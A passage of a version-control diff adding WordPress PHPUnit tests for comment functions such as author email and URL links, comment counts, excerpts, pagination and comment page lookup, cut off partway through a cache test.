+			'2008-07-15 11:32:26' => 2, // This one should never be in the results
+			'2008-12-10 13:06:27' => 1,
+			'2009-06-11 21:30:28' => 1,
+			'2009-12-18 10:42:29' => 1,
+		);
+
+		foreach ( $comment_dates as $comment_date => $comment_parent ) {
+			$result = self::factory()->comment->create( array(
+				'comment_date'    => $comment_date,
+				'comment_post_ID' => $this->posts[ $comment_parent ],
+			) );
+		}
+	}
+
+	public function _get_query_result( $args = array() ) {
+		$args = wp_parse_args( $args, array(
+			'post_id' => $this->posts[1],
+			'orderby' => 'comment_ID',  // Same order they were created
+			'order'   => 'ASC',
+		) );
+
+		return get_comments( $args );
+	}
+
+	public function test_year() {
+		$comments = $this->_get_query_result( array(
+			'date_query' => array(
+				array(
+					'year' => 2008,
+				),
+			),
+		) );
+
+		$expected_dates = array(
+			'2008-03-29 09:04:25',
+			'2008-12-10 13:06:27',
+		);
+
+		$this->assertEquals( $expected_dates, wp_list_pluck( $comments, 'comment_date' ) );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/comment/getCommentAuthorEmailLink.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/comment/getCommentAuthorEmailLink.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/comment/getCommentAuthorEmailLink.php	(revision 56912)
@@ -0,0 +1,95 @@
+<?php
+/**
+ * @group comment
+ */
+class Tests_Comment_GetCommentAuthorEmailLink extends WP_UnitTestCase {
+	public static $comment;
+
+	public function setUp() {
+		parent::setUp();
+
+		// Fake the 'comment' global.
+		$GLOBALS['comment'] = self::$comment;
+
+		// Remove obfuscation for testing purposes.
+		remove_filter( 'comment_email', 'antispambot' );
+	}
+
+	public function tearDown() {
+		unset( $GLOBALS['comment'] );
+		parent::tearDown();
+
+		add_filter( 'comment_email', 'antispambot' );
+	}
+
+	public static function wpSetUpBeforeClass( $factory ) {
+		self::$comment = $factory->comment->create_and_get( array(
+			'comment_author_email' => 'foo@example.org'
+		) );
+	}
+
+	public function test_global_comment_with_default_parameters() {
+		$expected = '<a href="mailto:foo@example.org">foo@example.org</a>';
+
+		$this->assertEquals( $expected, get_comment_author_email_link() );
+	}
+
+	/**
+	 * @ticket 36571
+	 */
+	public function test_all_parameters() {
+		unset( $GLOBALS['comment'] );
+
+		$linktext = 'linktext';
+		$before   = 'before';
+		$after    = 'after';
+		$comment  = self::factory()->comment->create_and_get( array(
+			'comment_author_email' => $email = 'baz@example.org'
+		) );
+
+		$expected = sprintf( '%1$s<a href="mailto:%2$s">%3$s</a>%4$s', $before, $email, $linktext, $after );
+
+		$this->assertEquals( $expected, get_comment_author_email_link( $linktext, $before, $after, $comment ) );
+	}
+
+	public function test_all_parameters_with_global_comment() {
+		$linktext = 'linktext';
+		$before   = 'before';
+		$after    = 'after';
+
+		$expected = sprintf( '%1$s<a href="mailto:foo@example.org">%2$s</a>%3$s', $before, $linktext, $after );
+
+		$this->assertEquals( $expected, get_comment_author_email_link( $linktext, $before, $after ) );
+	}
+
+	public function test_linktext() {
+		$expected = sprintf( '<a href="mailto:foo@example.org">%1$s</a>', $linktext = 'linktext' );
+
+		$this->assertEquals( $expected, get_comment_author_email_link( $linktext ) );
+	}
+
+	public function test_before() {
+		$expected = sprintf( '%1$s<a href="mailto:foo@example.org">foo@example.org</a>', $before = 'before' );
+
+		$this->assertEquals( $expected, get_comment_author_email_link( '', $before ) );
+	}
+
+	public function test_after() {
+		$expected = sprintf( '<a href="mailto:foo@example.org">foo@example.org</a>%1$s', $after = 'after' );
+
+		$this->assertEquals( $expected, get_comment_author_email_link( '', '', $after ) );
+	}
+
+	/**
+	 * @ticket 36571
+	 */
+	public function test_comment_param_should_override_global() {
+		$comment = self::factory()->comment->create_and_get( array(
+			'comment_author_email' => $email = 'bar@example.org'
+		) );
+
+		$expected = sprintf( '<a href="mailto:%1$s">%2$s</a>', $email, $email );
+
+		$this->assertEquals( $expected, get_comment_author_email_link( '', '', '', $comment ) );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/comment/getCommentAuthorUrl.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/comment/getCommentAuthorUrl.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/comment/getCommentAuthorUrl.php	(revision 56912)
@@ -0,0 +1,27 @@
+<?php
+
+/**
+ * @group comment
+ */
+class Tests_Comment_GetCommentAuthorUrl extends WP_UnitTestCase {
+	public function get_comment_author_url_filter( $url, $id, $comment ) {
+		$this->assertSame( $id, $comment->comment_ID );
+
+		return $url;
+	}
+
+	/**
+	 * @ticket 41334
+	 */
+	public function test_comment_author_url_passes_correct_comment_id() {
+		$comment = self::factory()->comment->create_and_get( array(
+			'comment_post_ID' => 0,
+		) );
+
+		add_filter( 'get_comment_author_url', array( $this, 'get_comment_author_url_filter' ), 99, 3 );
+
+		get_comment_author_url( $comment );
+
+		remove_filter( 'get_comment_author_url', array( $this, 'get_comment_author_url_filter' ), 99 );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/comment/getCommentAuthorUrlLink.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/comment/getCommentAuthorUrlLink.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/comment/getCommentAuthorUrlLink.php	(revision 56912)
@@ -0,0 +1,80 @@
+<?php
+
+/**
+ * @group comment
+ */
+class Tests_Comment_GetCommentAuthorUrlLink extends WP_UnitTestCase {
+	protected static $comments = array();
+
+	public static function wpSetUpBeforeClass( $factory ) {
+		unset( $GLOBALS['comment'] );
+
+		$comment_ids = $factory->comment->create_post_comments( 0, 1 );
+		self::$comments = array_map( 'get_comment', $comment_ids );
+	}
+
+	protected function parseCommentAuthorUrl( $comment, $linktext = '' ) {
+		if ( empty( $linktext ) ) {
+			$linktext = rtrim( preg_replace( '#http://(www\.)?#', '', $comment->comment_author_url ), '/' );
+		}
+		return sprintf(
+			'<a href=\'%s\' rel=\'external\'>%s</a>',
+			$comment->comment_author_url,
+			$linktext
+		);
+	}
+
+	public function test_no_comment() {
+		$url_link = get_comment_author_url_link();
+
+		$this->assertEquals( "<a href='' rel='external'></a>", $url_link );
+	}
+
+	public function test_global_comment() {
+		$GLOBALS['comment'] = $comment = reset( self::$comments );
+
+		$url_link = get_comment_author_url_link();
+		$link = $this->parseCommentAuthorUrl( $comment );
+		$this->assertEquals( $link, $url_link );
+	}
+
+	public function test_comment_arg() {
+		$comment = reset( self::$comments );
+
+		$url_link = get_comment_author_url_link( '', '', '', $comment );
+		$link = $this->parseCommentAuthorUrl( $comment );
+		$this->assertEquals( $link, $url_link );
+	}
+
+	public function test_linktext() {
+		$comment = reset( self::$comments );
+
+		$url_link = get_comment_author_url_link( 'Burrito', '', '', $comment );
+		$link = $this->parseCommentAuthorUrl( $comment, 'Burrito' );
+		$this->assertEquals( $link, $url_link );
+	}
+
+	public function test_before() {
+		$comment = reset( self::$comments );
+
+		$url_link = get_comment_author_url_link( 'Burrito', 'I would love a ', '', $comment );
+		$link = 'I would love a ' . $this->parseCommentAuthorUrl( $comment, 'Burrito' );
+		$this->assertEquals( $link, $url_link );
+	}
+
+	public function test_after() {
+		$comment = reset( self::$comments );
+
+		$url_link = get_comment_author_url_link( 'Burrito', '', ' is my favorite word.', $comment );
+		$link = $this->parseCommentAuthorUrl( $comment, 'Burrito' ) . ' is my favorite word.';
+		$this->assertEquals( $link, $url_link );
+	}
+
+	public function test_before_after() {
+		$comment = reset( self::$comments );
+
+		$url_link = get_comment_author_url_link( 'Burrito', 'I would love a ', ' right now.', $comment );
+		$link = 'I would love a ' . $this->parseCommentAuthorUrl( $comment, 'Burrito' ) . ' right now.';
+		$this->assertEquals( $link, $url_link );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/comment/getCommentClass.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/comment/getCommentClass.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/comment/getCommentClass.php	(revision 56912)
@@ -0,0 +1,46 @@
+<?php
+
+/**
+ * @group comment
+ */
+class Tests_Comment_GetCommentClass extends WP_UnitTestCase {
+	public function test_should_accept_comment_id() {
+		$post_id    = self::factory()->post->create();
+		$comment_id = self::factory()->comment->create( array( 'comment_post_ID' => $post_id ) );
+
+		$classes = get_comment_class( '', $comment_id );
+		$this->assertContains( 'comment', $classes );
+	}
+
+	public function test_should_accept_comment_object() {
+		$post_id = self::factory()->post->create();
+		$comment = self::factory()->comment->create_and_get( array( 'comment_post_ID' => $post_id ) );
+
+		$classes = get_comment_class( '', $comment );
+		$this->assertContains( 'comment', $classes );
+	}
+
+	public function test_should_append_single_class() {
+		$post_id    = self::factory()->post->create();
+		$comment_id = self::factory()->comment->create( array( 'comment_post_ID' => $post_id ) );
+
+		$classes = get_comment_class( 'foo', $comment_id );
+		$this->assertContains( 'foo', $classes );
+	}
+
+	public function test_should_append_array_of_classes() {
+		$post_id    = self::factory()->post->create();
+		$comment_id = self::factory()->comment->create( array( 'comment_post_ID' => $post_id ) );
+
+		$classes = get_comment_class( array( 'foo', 'bar' ), $comment_id );
+		$this->assertContains( 'foo', $classes );
+		$this->assertContains( 'bar', $classes );
+	}
+
+	/**
+	 * @ticket 33947
+	 */
+	public function test_should_return_an_empty_array_for_invalid_comment_id() {
+		$this->assertSame( array(), get_comment_class( 'foo', 12345 ) );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/comment/getCommentCount.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/comment/getCommentCount.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/comment/getCommentCount.php	(revision 56912)
@@ -0,0 +1,90 @@
+<?php
+
+class Tests_Get_Comment_Count extends WP_UnitTestCase {
+
+	public function test_get_comment_count() {
+		$count = get_comment_count();
+
+		$this->assertEquals( 0, $count['approved'] );
+		$this->assertEquals( 0, $count['awaiting_moderation'] );
+		$this->assertEquals( 0, $count['spam'] );
+		$this->assertEquals( 0, $count['trash'] );
+		$this->assertEquals( 0, $count['post-trashed'] );
+		$this->assertEquals( 0, $count['total_comments'] );
+	}
+
+	public function test_get_comment_count_approved() {
+		self::factory()->comment->create( array(
+			'comment_approved' => 1
+		) );
+
+		$count = get_comment_count();
+
+		$this->assertEquals( 1, $count['approved'] );
+		$this->assertEquals( 0, $count['awaiting_moderation'] );
+		$this->assertEquals( 0, $count['spam'] );
+		$this->assertEquals( 0, $count['trash'] );
+		$this->assertEquals( 0, $count['post-trashed'] );
+		$this->assertEquals( 1, $count['total_comments'] );
+	}
+
+	public function test_get_comment_count_awaiting() {
+		self::factory()->comment->create( array(
+			'comment_approved' => 0
+		) );
+
+		$count = get_comment_count();
+
+		$this->assertEquals( 0, $count['approved'] );
+		$this->assertEquals( 1, $count['awaiting_moderation'] );
+		$this->assertEquals( 0, $count['spam'] );
+		$this->assertEquals( 0, $count['trash'] );
+		$this->assertEquals( 0, $count['post-trashed'] );
+		$this->assertEquals( 1, $count['total_comments'] );
+	}
+
+	public function test_get_comment_count_spam() {
+		self::factory()->comment->create( array(
+			'comment_approved' => 'spam'
+		) );
+
+		$count = get_comment_count();
+
+		$this->assertEquals( 0, $count['approved'] );
+		$this->assertEquals( 0, $count['awaiting_moderation'] );
+		$this->assertEquals( 1, $count['spam'] );
+		$this->assertEquals( 0, $count['trash'] );
+		$this->assertEquals( 0, $count['post-trashed'] );
+		$this->assertEquals( 1, $count['total_comments'] );
+	}
+
+	public function test_get_comment_count_trash() {
+		self::factory()->comment->create( array(
+			'comment_approved' => 'trash'
+		) );
+
+		$count = get_comment_count();
+
+		$this->assertEquals( 0, $count['approved'] );
+		$this->assertEquals( 0, $count['awaiting_moderation'] );
+		$this->assertEquals( 0, $count['spam'] );
+		$this->assertEquals( 1, $count['trash'] );
+		$this->assertEquals( 0, $count['post-trashed'] );
+		$this->assertEquals( 0, $count['total_comments'] );
+	}
+
+	public function test_get_comment_count_post_trashed() {
+		self::factory()->comment->create( array(
+			'comment_approved' => 'post-trashed'
+		) );
+
+		$count = get_comment_count();
+
+		$this->assertEquals( 0, $count['approved'] );
+		$this->assertEquals( 0, $count['awaiting_moderation'] );
+		$this->assertEquals( 0, $count['spam'] );
+		$this->assertEquals( 0, $count['trash'] );
+		$this->assertEquals( 1, $count['post-trashed'] );
+		$this->assertEquals( 0, $count['total_comments'] );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/comment/getCommentExcerpt.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/comment/getCommentExcerpt.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/comment/getCommentExcerpt.php	(revision 56912)
@@ -0,0 +1,43 @@
+<?php
+
+class Tests_Get_Comment_Excerpt extends WP_UnitTestCase {
+	protected static $bacon_comment;
+
+	public static function setUpBeforeClass() {
+		parent::setUpBeforeClass();
+
+		self::$bacon_comment = 'Bacon ipsum dolor amet porchetta capicola sirloin prosciutto brisket shankle jerky. Ham hock filet mignon boudin ground round, prosciutto alcatra spare ribs meatball turducken pork beef ribs ham beef. Bacon pastrami short loin, venison tri-tip ham short ribs doner swine. Tenderloin pig tongue pork jowl doner. Pork loin rump t-bone, beef strip steak flank drumstick tri-tip short loin capicola jowl. Cow filet mignon hamburger doner rump. Short loin jowl drumstick, tongue tail beef ribs pancetta flank brisket landjaeger chuck venison frankfurter turkey.
+
+Brisket shank rump, tongue beef ribs swine fatback turducken capicola meatball picanha chicken cupim meatloaf turkey. Bacon biltong shoulder tail frankfurter boudin cupim turkey drumstick. Porchetta pig shoulder, jerky flank pork tail meatball hamburger. Doner ham hock ribeye tail jerky swine. Leberkas ribeye pancetta, tenderloin capicola doner turducken chicken venison ground round boudin pork chop. Tail pork loin pig spare ribs, biltong ribeye brisket pork chop cupim. Short loin leberkas spare ribs jowl landjaeger tongue kevin flank bacon prosciutto.
+
+Shankle pork chop prosciutto ribeye ham hock pastrami. T-bone shank brisket bacon pork chop. Cupim hamburger pork loin short loin. Boudin ball tip cupim ground round ham shoulder. Sausage rump cow tongue bresaola pork pancetta biltong tail chicken turkey hamburger. Kevin flank pork loin salami biltong. Alcatra landjaeger pastrami andouille kielbasa ham tenderloin drumstick sausage turducken tongue corned beef.';
+	}
+
+	public function test_get_comment_excerpt() {
+		$comment_id = self::factory()->comment->create( array(
+			'comment_content' => self::$bacon_comment
+		) );
+
+		$excerpt = get_comment_excerpt( $comment_id );
+
+		$this->assertEquals( 20, count( explode( ' ', $excerpt ) ) );
+	}
+
+	public function test_get_comment_excerpt_filtered() {
+		$comment_id = self::factory()->comment->create( array(
+			'comment_content' => self::$bacon_comment
+		) );
+
+		add_filter( 'comment_excerpt_length', array( $this, '_filter_comment_excerpt_length' ) );
+
+		$excerpt = get_comment_excerpt( $comment_id );
+
+		$this->assertEquals( 10, count( explode( ' ', $excerpt ) ) );
+	}
+
+	public function _filter_comment_excerpt_length() {
+		remove_filter( 'comment_excerpt_length', array( $this, __METHOD__ ) );
+
+		return 10;
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/comment/getCommentLink.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/comment/getCommentLink.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/comment/getCommentLink.php	(revision 56912)
@@ -0,0 +1,135 @@
+<?php
+
+/**
+ * @group comment
+ */
+class Tests_Comment_GetCommentLink extends WP_UnitTestCase {
+	protected static $p;
+	protected static $comments = array();
+
+	public static function wpSetUpBeforeClass( $factory ) {
+		$now = time();
+		self::$p = self::factory()->post->create();
+
+		self::$comments[] = self::factory()->comment->create( array(
+			'comment_post_ID' => self::$p,
+			'comment_content' => '1',
+			'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 100 ),
+		) );
+		self::$comments[] = self::factory()->comment->create( array(
+			'comment_post_ID' => self::$p,
+			'comment_content' => '2',
+			'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 200 ),
+		) );
+		self::$comments[] = self::factory()->comment->create( array(
+			'comment_post_ID' => self::$p,
+			'comment_content' => '3',
+			'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 300 ),
+		) );
+		self::$comments[] = self::factory()->comment->create( array(
+			'comment_post_ID' => self::$p,
+			'comment_content' => '4',
+			'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 400 ),
+		) );
+		self::$comments[] = self::factory()->comment->create( array(
+			'comment_post_ID' => self::$p,
+			'comment_content' => '4',
+			'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 500 ),
+		) );
+		self::$comments[] = self::factory()->comment->create( array(
+			'comment_post_ID' => self::$p,
+			'comment_content' => '4',
+			'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - 600 ),
+		) );
+
+	}
+
+	/**
+	 * @ticket 34068
+	 */
+	public function test_default_comments_page_newest_default_page_should_have_cpage() {
+		update_option( 'page_comments', 1 );
+		update_option( 'default_comments_page', 'newest' );
+		update_option( 'comments_per_page', 2 );
+
+		$found = get_comment_link( self::$comments[1] );
+
+		$this->assertContains( 'cpage=3', $found );
+	}
+
+	/**
+	 * @ticket 34068
+	 */
+	public function test_default_comments_page_newest_middle_page_should_have_cpage() {
+		update_option( 'page_comments', 1 );
+		update_option( 'default_comments_page', 'newest' );
+		update_option( 'comments_per_page', 2 );
+
+		$found = get_comment_link( self::$comments[3] );
+
+		$this->assertContains( 'cpage=2', $found );
+	}
+
+	/**
+	 * @ticket 34068
+	 */
+	public function test_default_comments_page_newest_last_page_should_have_cpage() {
+		update_option( 'page_comments', 1 );
+		update_option( 'default_comments_page', 'newest' );
+		update_option( 'comments_per_page', 2 );
+
+		$found = get_comment_link( self::$comments[5] );
+
+		$this->assertContains( 'cpage=1', $found );
+	}
+
+	/**
+	 * @ticket 34068
+	 */
+	public function test_default_comments_page_oldest_default_page_should_not_have_cpage() {
+		update_option( 'default_comments_page', 'oldest' );
+		update_option( 'comments_per_page', 2 );
+
+		$found = get_comment_link( self::$comments[5] );
+
+		$this->assertNotContains( 'cpage', $found );
+	}
+
+	/**
+	 * @ticket 34068
+	 */
+	public function test_default_comments_page_oldest_middle_page_should_have_cpage() {
+		update_option( 'page_comments', 1 );
+		update_option( 'default_comments_page', 'oldest' );
+		update_option( 'comments_per_page', 2 );
+
+		$found = get_comment_link( self::$comments[3] );
+
+		$this->assertContains( 'cpage=2', $found );
+	}
+
+	/**
+	 * @ticket 34068
+	 */
+	public function test_default_comments_page_oldest_last_page_should_have_cpage() {
+		update_option( 'page_comments', 1 );
+		update_option( 'default_comments_page', 'oldest' );
+		update_option( 'comments_per_page', 2 );
+
+		$found = get_comment_link( self::$comments[1] );
+
+		$this->assertContains( 'cpage=3', $found );
+	}
+
+	/**
+	 * @ticket 34946
+	 */
+	public function test_should_not_contain_comment_page_1_when_pagination_is_disabled() {
+		$this->set_permalink_structure( '/%postname%/' );
+		update_option( 'page_comments', 0 );
+
+		$found = get_comment_link( self::$comments[1] );
+
+		$this->assertNotContains( 'comment-page-1', $found );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/comment/getCommentReplyLink.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/comment/getCommentReplyLink.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/comment/getCommentReplyLink.php	(revision 56912)
@@ -0,0 +1,29 @@
+<?php
+
+/**
+ * @group comment
+ */
+class Tests_Comment_GetCommentReplyLink extends WP_UnitTestCase {
+	/**
+	 * @ticket 38170
+	 */
+	public function test_should_return_null_when_max_depth_is_less_than_depth() {
+		$args = array(
+			'depth' => 5,
+			'max_depth' => 4,
+		);
+
+		$this->assertNull( get_comment_reply_link( $args ) );
+	}
+
+	/**
+	 * @ticket 38170
+	 */
+	public function test_should_return_null_when_default_max_depth_is_less_than_depth() {
+		$args = array(
+			'depth' => 5,
+		);
+
+		$this->assertNull( get_comment_reply_link( $args ) );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/comment/getCommentsPagesCount.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/comment/getCommentsPagesCount.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/comment/getCommentsPagesCount.php	(revision 56912)
@@ -0,0 +1,148 @@
+<?php
+/**
+ * Validate the logic of get_comments_pages_count
+ * @group comment
+ */
+class Tests_Comment_GetCommentsPagesCount extends WP_UnitTestCase {
+	protected $option_page_comments;
+	protected $option_comments_per_page;
+	protected $option_thread_comments;
+	protected $option_posts_per_rss;
+
+	/**
+	 * setUp options
+	 */
+	function setUp() {
+		parent::setUp();
+		$this->option_page_comments = get_option( 'page_comments' );
+		$this->option_page_comments = get_option( 'comments_per_page' );
+		$this->option_page_comments = get_option( 'thread_comments' );
+		$this->option_posts_per_rss = get_option( 'posts_per_rss' );
+
+		update_option( 'page_comments', true );
+	}
+
+	/**
+	 * tearDown options
+	 */
+	function tearDown() {
+		update_option( 'page_comments', $this->option_page_comments );
+		update_option( 'comments_per_page', $this->option_page_comments );
+		update_option( 'thread_comments', $this->option_page_comments );
+		update_option( 'posts_per_rss', $this->option_posts_per_rss );
+		parent::tearDown();
+	}
+
+	/**
+	 * Validate get_comments_pages_count for empty comments
+	 */
+	function test_empty() {
+		//setup post and comments
+		$post_id = self::factory()->post->create( array( 'post_title' => 'comment--post', 'post_type' => 'post' ) );
+		$this->go_to( '/?p=' . $post_id );
+
+		global $wp_query;
+		unset( $wp_query->comments );
+
+		$comments = get_comments( array( 'post_id' => $post_id ) );
+
+		$this->assertEquals( 0, get_comment_pages_count( $comments, 10, false ) );
+		$this->assertEquals( 0, get_comment_pages_count( $comments, 1, false ) );
+		$this->assertEquals( 0, get_comment_pages_count( $comments, 0, false ) );
+		$this->assertEquals( 0, get_comment_pages_count( $comments, 10, true ) );
+		$this->assertEquals( 0, get_comment_pages_count( $comments, 5 ) );
+		$this->assertEquals( 0, get_comment_pages_count( $comments ) );
+		$this->assertequals( 0, get_comment_pages_count( null, 1 ) );
+	}
+
+	/**
+	 * Validate get_comments_pages_count for treaded comments
+	 */
+	function test_threaded_comments( ) {
+		//setup post and comments
+		$post = self::factory()->post->create_and_get( array( 'post_title' => 'comment--post', 'post_type' => 'post' ) );
+		$comments = self::factory()->comment->create_post_comments( $post->ID, 15 );
+		self::factory()->comment->create_post_comments( $post->ID, 6, array( 'comment_parent' => $comments[0] ) );
+		$comments = get_comments( array( 'post_id' => $post->ID ) );
+
+		$this->assertEquals( 3, get_comment_pages_count( $comments, 10, false ) );
+		$this->assertEquals( 2, get_comment_pages_count( $comments, 10, true ) );
+		$this->assertEquals( 4, get_comment_pages_count( $comments, 4, true ) );
+	}
+
+	/**
+	 * Validate get_comments_pages_count for option tread_comments
+	 */
+	function test_option_thread_comments() {
+
+		//setup post and comments
+		$post = self::factory()->post->create_and_get( array( 'post_title' => 'comment--post', 'post_type' => 'post' ) );
+		$comments = self::factory()->comment->create_post_comments( $post->ID, 15 );
+		self::factory()->comment->create_post_comments( $post->ID, 6, array('comment_parent' => $comments[0] ) );
+		$comments = get_comments( array( 'post_id' => $post->ID ) );
+
+		update_option( 'thread_comments', false );
+
+		$this->assertEquals( 3, get_comment_pages_count( $comments, 10, false ) );
+		$this->assertEquals( 2, get_comment_pages_count( $comments, 10, true ) );
+		$this->assertEquals( 3, get_comment_pages_count( $comments, 10, null ) );
+		$this->assertEquals( 3, get_comment_pages_count( $comments, 10 ) );
+
+		update_option( 'thread_comments', true );
+
+		$this->assertEquals( 3, get_comment_pages_count( $comments, 10, false ) );
+		$this->assertEquals( 2, get_comment_pages_count( $comments, 10, true ) );
+		$this->assertEquals( 2, get_comment_pages_count( $comments, 10, null ) );
+		$this->assertEquals( 2, get_comment_pages_count( $comments, 10 ) );
+	}
+
+	/**
+	 * Validate $wp_query logic of get_comment_pages_count
+	 */
+	function test_wp_query_comments_per_page() {
+		global $wp_query;
+
+		update_option( 'posts_per_rss', 100 );
+
+		$post = self::factory()->post->create_and_get( array( 'post_title' => 'comment-post', 'post_type' => 'post' ) );
+		$comments = self::factory()->comment->create_post_comments( $post->ID, 25 );
+
+		$wp_query = new WP_Query( array( 'p' => $post->ID, 'comments_per_page' => 10, 'feed' =>'comments-' ) );
+
+		update_option( 'comments_per_page', 25 );
+
+		$this->assertEquals( 3, get_comment_pages_count() );
+		$this->assertEquals( 2, get_comment_pages_count( null, 20 ) );
+
+		$wp_query = new WP_Query( array( 'p' => $post->ID,'comments_per_page' => null, 'feed' =>'comments-' ) );
+
+		$this->assertEquals( 1, get_comment_pages_count() );
+		$this->assertEquals( 5, get_comment_pages_count( null, 5 ) );
+
+		$wp_query->query_vars['comments_per_page'] = null;
+
+		update_option( 'comments_per_page', 5 );
+
+		$this->assertEquals( 5, get_comment_pages_count() );
+		$this->assertEquals( 3, get_comment_pages_count( null, 11 ) );
+		$this->assertEquals( 5, get_comment_pages_count( null, 0 ) );
+	}
+
+	/**
+	 * Validate max_num_comment_pages logic of get_comment_pages_count
+	 */
+	 function test_max_num_comment_pages() {
+		global $wp_query;
+		$wp_query = new WP_Query();
+
+		$org_max_num_comment_pages = $wp_query->max_num_comment_pages;
+
+		$wp_query->max_num_comment_pages = 7;
+
+		$this->assertEquals( 7, get_comment_pages_count() );
+		$this->assertEquals( 7, get_comment_pages_count( null, null, null ) );
+		$this->assertEquals( 0, get_comment_pages_count( array(), null, null ) );
+
+		$wp_query->max_num_comment_pages = $org_max_num_comment_pages;
+	 }
+}
Index: /tags/5.0.20/tests/phpunit/tests/comment/getPageOfComment.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/comment/getPageOfComment.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/comment/getPageOfComment.php	(revision 56912)
@@ -0,0 +1,281 @@
+<?php
+
+/**
+ * @group comment
+ * @covers ::get_page_of_comment
+ */
+class Tests_Comment_GetPageOfComment extends WP_UnitTestCase {
+
+	public function test_last_comment() {
+		$p = self::factory()->post->create();
+
+		// page 4
+		$comment_last = self::factory()->comment->create_post_comments( $p, 1, array( 'comment_date' => '2013-09-24 00:00:00' ) );
+		self::factory()->comment->create_post_comments( $p, 1, array( 'comment_date' => '2013-09-23 00:00:00' ) );
+
+		// page 3
+		self::factory()->comment->create_post_comments( $p, 1, array( 'comment_date' => '2013-09-22 00:00:00' ) );
+		self::factory()->comment->create_post_comments( $p, 1, array( 'comment_date' => '2013-09-21 00:00:00' ) );
+		self::factory()->comment->create_post_comments( $p, 1, array( 'comment_date' => '2013-09-20 00:00:00' ) );
+
+		// page 2
+		self::factory()->comment->create_post_comments( $p, 1, array( 'comment_date' => '2013-09-19 00:00:00' ) );
+		self::factory()->comment->create_post_comments( $p, 1, array( 'comment_date' => '2013-09-18 00:00:00' ) );
+		self::factory()->comment->create_post_comments( $p, 1, array( 'comment_date' => '2013-09-17 00:00:00' ) );
+
+		// page 1
+		self::factory()->comment->create_post_comments( $p, 1, array( 'comment_date' => '2013-09-16 00:00:00' ) );
+		self::factory()->comment->create_post_comments( $p, 1, array( 'comment_date' => '2013-09-15 00:00:00' ) );
+		$comment_first = self::factory()->comment->create_post_comments( $p, 1, array( 'comment_date' => '2013-09-14 00:00:00' ) );
+
+		$this->assertEquals( 4, get_page_of_comment( $comment_last[0],  array( 'per_page' =>  3 ) ) );
+		$this->assertEquals( 2, get_page_of_comment( $comment_last[0],  array( 'per_page' => 10 ) ) );
+
+		$this->assertEquals( 1, get_page_of_comment( $comment_first[0], array( 'per_page' =>  3 ) ) );
+		$this->assertEquals( 1, get_page_of_comment( $comment_first[0], array( 'per_page' => 10 ) ) );
+	}
+
+	public function test_type_pings() {
+		$p = self::factory()->post->create();
+		$now = time();
+
+		$trackbacks = array();
+		for ( $i = 0; $i <= 3; $i++ ) {
+			$trackbacks[ $i ] = self::factory()->comment->create( array( 'comment_post_ID' => $p, 'comment_type' => 'trackback', 'comment_date_gmt' => date( 'Y-m-d H:i:s', $now ) ) );
+			$now -= 10 * $i;
+		}
+
+		$pingbacks = array();
+		for ( $i = 0; $i <= 6; $i++ ) {
+			$pingbacks[ $i ] = self::factory()->comment->create( array( 'comment_post_ID' => $p, 'comment_type' => 'pingback', 'comment_date_gmt' => date( 'Y-m-d H:i:s', $now ) ) );
+			$now -= 10 * $i;
+		}
+
+		$this->assertEquals( 2, get_page_of_comment( $trackbacks[0], array( 'per_page' => 2, 'type' => 'trackback' ) ) );
+		$this->assertEquals( 3, get_page_of_comment( $pingbacks[0], array( 'per_page' => 2, 'type' => 'pingback' ) ) );
+		$this->assertEquals( 5, get_page_of_comment( $trackbacks[0], array( 'per_page' => 2, 'type' => 'pings' ) ) );
+	}
+
+	/**
+	 * @ticket 11334
+	 */
+	public function test_subsequent_calls_should_hit_cache() {
+		global $wpdb;
+
+		$p = self::factory()->post->create();
+		$c = self::factory()->comment->create( array( 'comment_post_ID' => $p ) );
+
+		// Prime cache.
+		$page_1 = get_page_of_comment( $c, array( 'per_page' => 3 ) );
+
+		$num_queries = $wpdb->num_queries;
+		$page_2 = get_page_of_comment( $c, array( 'per_page' => 3 ) );
+
+		$this->assertSame( $page_1, $page_2 );
+		$this->assertSame( $num_queries, $wpdb->num_queries );
+	}
+
+	/**
+	 * @ticket 11334
+	 */
+	public function test_cache_hits_should_be_sensitive_to_comment_type() {
+		global $wpdb;
+
+		$p = self::factory()->post->create();
+		$comment = self::factory()->comment->create( array( 'comment_post_ID' => $p, 'comment_type' => 'comment' ) );
+
+		$now = time();
+		$trackbacks = array();
+		for ( $i = 0; $i <= 5; $i++ ) {
+			$trackbacks[ $i ] = self::factory()->comment->create( array( 'comment_post_ID' => $p, 'comment_type' => 'trackback', 'comment_date_gmt' => date( 'Y-m-d H:i:s', $now - ( 10 * $i ) ) ) );
+		}
+
+		// Prime cache for trackbacks.
